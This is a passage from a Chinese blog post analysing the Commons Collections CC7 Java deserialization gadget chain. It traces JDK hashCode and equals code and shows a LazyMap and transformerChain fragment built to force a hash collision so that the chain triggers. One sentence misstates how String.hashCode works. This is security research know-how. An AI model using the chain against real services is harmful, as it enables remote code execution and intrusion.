!important;word-break: inherit !important;">2</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>public <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Set</span>&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span>.Entry&lt;K,V&gt;&gt; entrySet() {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>   <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Set</span>&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span>.Entry&lt;K,V&gt;&gt; es;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>   <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> (es = entrySet) == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">null</span> ? (entrySet = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> EntrySet()) : es;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>} <br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">entrySet()</span></code><span style="font-size: 14px;">返回的是一个</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Set</span></code><span style="font-size: 14px;">，这个</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Set</span></code><span style="font-size: 14px;">的元素是</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Map.Entry&lt;K,V&gt;,Entry&lt;K,V&gt;</span></code><span style="font-size: 14px;">是一个接口，这个接口在</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Hashmap</span></code><span style="font-size: 14px;">中被</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Node</span></code><span style="font-size: 14px;">类实现，继续看一下</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Node.HashCode</span></code><span style="font-size: 14px;">方法：</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">public</span> final <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">hashCode</span>() </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> Objects.hashCode(key) ^ Objects.hashCode(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Node.HashCode</span></code><span style="font-size: 14px;">方法如上，可以看到调用了</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Objects.hashCode</span></code><span style="font-size: 14px;">并将</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">key,value</span></code><span style="font-size: 14px;">当作参数传进去并且将他们的结果进行异或计算。</span></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">看一下</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Objects.hashcode</span></code><span style="font-size: 14px;">:</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">hashCode</span>(<span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">Object o</span>) </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>   <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> o != <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">null</span> ? o.hashCode() : <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">可以看到</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Objects.hashCode</span></code><span style="font-size: 14px;">中只要参数不为null就调用参数的</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashCode</span></code><span style="font-size: 14px;">方法。</span></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">而当前</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashmap</span></code><span style="font-size: 14px;">中的</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">key,value</span></code><span style="font-size: 14px;">为</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">&lt;String,Integer&gt;</span></code><span style="font-size: 14px;">类型。所以想要控制hash就要看一下</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">String</span></code><span style="font-size: 14px;">和</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">int</span></code><span style="font-size: 14px;">类型的</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashcode</span></code><span style="font-size: 14px;">方法了：<br/></span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">String.hashCode</span></code><span style="font-size: 14px;">代码如下：</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">hashCode</span>() </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> h = hash;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (h == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span> &amp;&amp; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span>.length &gt; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> val[] = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> i = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span>.length; i++) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>            h = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">31</span> * h + val[i];<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>        }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>        hash = h;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> h;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">hash是一个类成员变量，代表该对象的hash值，默认为0。当第一次调用</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashCode</span></code><span style="font-size: 14px;">时该成员会被赋值，当以后在调用该方法时则直接返回hash变量。 <br/>而hash的计算方式就是将字符串除了最后一个字符其他的乘31后相加。</span></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Integer.hashCode</span></code><span style="font-size: 14px;">代码如下：</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">hashCode</span>() </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>   <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> Integer.hashCode(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>}<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">hashCode</span>(<span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">value</span></span>) </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>   <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">很简单，直接返回自身。</span></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">到这里我们已经可以基本了解如何控制哈希了。 <br/>只要两个</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">lazyMap</span></code><span style="font-size: 14px;">中的</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Key.hashCode()^value.hashCode()</span></code><span style="font-size: 14px;">保持一致即可，CC7链的做法是通过控制key，也就是String的hashcode，而Integer始终为1，这样只要String的hash一致那么最终的 </span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">lazyMap.hash</span></code><span style="font-size: 14px;">就一致。</span></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="color: inherit;font-size: 14px;">但是更简单的办法是通过Integer来控制最终的hash</span><span style="color: inherit;font-size: 14px;">，因为</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Integer.hashCode</span></code><span style="color: inherit;font-size: 14px;">直接返回自身，所以与其控制String的hash不如直接控制Integer来的更方便。只要让Integer的hash与</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">key.hashCode</span></code><span style="color: inherit;font-size: 14px;">保持一致，那么进行异或运算后最终结果就是0，这样我们可以随意设置key的值，比如这样:</span></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;"></span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>lazyMap1.put((<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">short</span>)<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">12</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">12</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>lazyMap2.put(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> URL(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<a href="http://www.baidu.com" target="_blank">http://www.baidu.com</a>&#34;</span>), -<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">588894355</span>);<br/></code></pre><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">AbstractMapDecorator.equals</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">控制哈希相等后，就会进入</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">LazyMap.equals</span></code><span style="font-size: 14px;">方法，因为LazyMap没有实现equals方法所以调用了</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">AbstractMapDecorator.equals</span></code><span style="font-size: 14px;">方法，代码如下：</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> boolean equals(Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">object</span>) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 